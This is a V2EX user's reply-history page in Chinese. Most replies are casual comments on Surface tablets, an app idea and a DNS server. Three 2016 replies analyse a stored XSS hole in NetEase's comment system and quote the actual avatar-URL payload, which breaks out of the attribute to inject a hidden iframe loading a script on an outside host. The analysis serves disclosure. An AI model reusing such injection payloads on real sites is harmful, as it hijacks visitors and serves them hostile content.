V2EX › alexecn 的所有回复 › 第 3 页 / 共 3 页

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

现在注册

已注册用户请登录

1 2 3

❮

❯

2016-06-18 20:31:48 +08:00

回复了 alexecn 创建的主题 › 分享发现 › 网易的评论系统有漏洞了吧！

继续挖一下，
这个评论是一个叫小红军的人发的
http://tie.163.com/reply/myaction.jsp?action=reply&username=a2ptc25rQDE2My5jb20=

注册时间在 2016.02.13 看来可能利用这个漏洞已经非常长的时间了。但手法并不太高明。
没有实验好的东西不要放，特别是导致整个页面的跳转，这样非常容易被人发觉。
如果没有整个页面跳转，我是不会去观察这个问题的。

这里没有网易的人吗？有的话，抓紧补了吧！否则这个漏洞很好用哦

2016-06-18 20:15:25 +08:00

回复了 alexecn 创建的主题 › 分享发现 › 网易的评论系统有漏洞了吧！

继续的分析了一下。看上面的 json 代码，应该是 avatar 字段的问题，也就是上传用户头像的部分，用户指定上传的 url 地址没有做检查，所以恶意用户上传了一段： http://img5.cache.netease.com/tie/images/noface80_80.png""><iframe src="<a href=" http:="" <a="" href="http://chatp.jordan2u.com" rel="nofollow noopener">chatp.jordan2u.com="" 23="" test.php"="" rel="nofollow noopener">http://chatp.jordan2u.com/23/test.php" style="display:none"></iframe>.
作为他的头像地址。

而网易这个评论系统在显示的时候，对这段从数据库里提取的代码也没有做检查，导致了这个漏洞的生效。

2016-06-18 19:54:07 +08:00

回复了 alexecn 创建的主题 › 分享发现 › 网易的评论系统有漏洞了吧！

貌似这一会更坏了，正在随意的添加 url , 刷流量呢。

主要添加了： https://www.chiphell.com/ 下面大量的 url 地址。

先大量的添加 url ，让客户访问。然后再一一删除，掩盖痕迹。

2015-10-18 22:45:51 +08:00

回复了 vtea 创建的主题 › 职场话题 › 上学时本以为工作了，有份收入，应该会自由些。可怎么

@shyrock @vtea 人生不如意十之八九。

情理之中啊！！

2015-10-09 00:00:15 +08:00

回复了 coldear 创建的主题 › Surface › 关于微软 SP， SP 最近几年的硬件创新说两句

作为程序员， surface pro3 的笔确实帮助很大。程序员不是光写代码，有纸和笔也非常重要。
sp3 拿着随时记录下自己的想法，很方便，亲身体会。

写代码的时候，带了 k480 的键盘，可以将 surface 竖着放。正常大小字体，一次可以显示 80 行代码。
正常 24 寸屏幕， 1920 分辨率只能显示 50 行。

2015-10-08 16:38:58 +08:00

回复了 c742435 创建的主题 › Surface › Surface Book 的明显缺点

@maemolee 说的是。扩展性都在键盘上做文章就好。

2015-10-08 10:20:11 +08:00

回复了 lyf 创建的主题 › 问与答 › 图像识别蚊子 app

大家对这种想法不应该嘲笑，而是鼓励。
创新的源泉就在于这些小事。
其实这个想法在成与不成之间，并不是非常遥不可及的事情。
多提出一些专业的思路，也许可以找到可行的方法。

2014-02-09 00:33:09 +08:00

回复了 adrianzhang 创建的主题 › Linux › 新春献礼！无污染私人安全DNS服务器

过完年了，google也送礼。youtube支持https模式访问视频了。
用OPenerdns: 42.120.21.30 。
浏览器直接就可以看https://www.youtube.com了。视频还挺流畅的。

OpenerDNS项目地址：https://code.google.com/p/openerdns/

2013-09-27 21:11:05 +08:00

回复了 amxku 创建的主题 › 分享发现 › 超级DNS: 更改你的Dns服务器为：42.120.21.30，就可以直接访问：facebook，twitter，一定要https:// 开头

确实可以，方便多了。https://www.facebook.com也可以访问

1 2 3

❮

❯